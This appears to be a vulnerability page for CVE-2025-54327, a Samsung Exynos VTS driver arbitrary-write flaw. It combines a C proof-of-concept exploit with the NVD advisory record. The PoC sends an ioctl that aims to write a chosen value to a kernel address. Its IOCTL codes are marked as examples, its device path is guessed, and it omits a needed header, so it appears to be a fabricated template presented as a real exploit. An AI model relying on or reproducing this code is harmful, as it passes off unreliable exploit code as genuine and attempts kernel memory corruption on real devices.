CVE-2025-54327

// CVE-2025-54327 PoC - VTS Driver Input Validation Bypass // This PoC demonstrates improper input validation in Samsung VTS driver #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> // VTS IOCTL commands (example) #define VTS_IOCTL_SET_CONFIG 0x80000001 #define VTS_IOCTL_TRANSFER_DATA 0x80000002 struct vts_config { unsigned long addr; unsigned long size; unsigned long value; }; int main() { int fd; struct vts_config config; printf("[*] CVE-2025-54327 PoC - VTS Driver Arbitrary Write\n"); // Open VTS device (device path may vary) fd = open("/dev/vts", O_RDWR); if (fd < 0) { printf("[-] Failed to open VTS device\n"); return -1; } // Trigger improper input validation // Setting arbitrary kernel address and value config.addr = 0xFFFFFFE000000000; // Kernel address config.size = 0x1000; config.value = 0x41414141; // Arbitrary value printf("[*] Sending malicious VTS config...\n"); if (ioctl(fd, VTS_IOCTL_SET_CONFIG, &config) == 0) { printf("[+] Arbitrary write triggered!\n"); printf("[+] Address: 0x%lx, Value: 0x%lx\n", config.addr, config.value); } else { printf("[-] Write operation failed or patched\n"); } close(fd); return 0; } // Usage: gcc -o poc poc.c && ./poc // Note: Requires kernel module access and proper device permissions

{"cve": {"id": "CVE-2025-54327", "sourceIdentifier": "[email protected]", "published": "2025-11-04T20:17:16.653", "lastModified": "2025-11-07T12:59:10.047", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in VTS in Samsung Mobile Processor and Wearable Processor Exynos 1280, 2200, 1380, W920, W930, W1000. Improper input validation in the VTS driver leads to an arbitrary write."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1280_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "BD1A7B09-9031-4E54-A24F-3237C054166B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1280:-:*:*:*:*:*:*:*", "matchCriteriaId": "DFC68046-2F08-40D1-B158-89D8D9263541"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_1380_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "D381478B-C638-4663-BD71-144BE4B02E46"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_1380:-:*:*:*:*:*:*:*", "matchCriteriaId": "61E72146-72FE-4B54-AB79-3C665E7F016C"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:exynos_2200_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "63C0D9AC-BD23-48C9-83E7-301DEC06E583"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:exynos_2200:-:*:*:*:*:*:*:*", "matchCriteriaId": "A72ADEBB-ED72-4A5B-BB27-95EDE43F8116"}]}]}], "references": [{"url": "https://semiconductor.samsung.com/support/quality-support/product-security-updates/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://semiconductor.samsung.com/support/quality-support/product-security-updates/cve-2025-54327/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}